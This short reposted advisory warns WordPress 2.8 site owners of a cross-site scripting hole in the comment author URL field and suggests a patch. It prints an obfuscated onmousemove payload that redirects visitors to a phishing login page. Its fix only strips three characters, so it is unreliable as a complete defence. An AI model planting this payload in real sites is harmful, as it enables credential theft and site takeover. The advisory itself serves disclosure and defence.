Be Careful,Wordpress 2.8 All Version Xss 0DAY

Be Careful,Wordpress 2.8 All Version Xss 0DAY

From http://www.vul.kr/?p=569

It had been published that wordpress 2.8 All version are suffering from Xss,attackers can use this to do fishing,they make a wordpress login page as it is your own.If you don’t take care,your password will be sent to the attacker’s website.With your password,they can edit pages and upload webshell.It is harmful.

How is the attacker do this?
they insert website url like this:
http://www.vul.kr’

Code:

onmousemove=’location.href=String.fromCharCode(104,116,116,112,58,47,47,119,119,

119,46,118,117,108,46,107,114,47,63,112,61,53,54,57);

If the someone(or administrator) moved his mouse on the author’s website.It will jump to another URL,which is a fishing page.

How can we patch it?
Edit wp-comments-post.php
go line 40 and then add:

Code:

$comment_author_url = str_replace(chr(39),”,$comment_author_url);

$comment_author_url = str_replace(chr(59),”,$comment_author_url);

$comment_author_url = str_replace(chr(44),”,$comment_author_url);

Webmasters,please patch it as soon as you can.
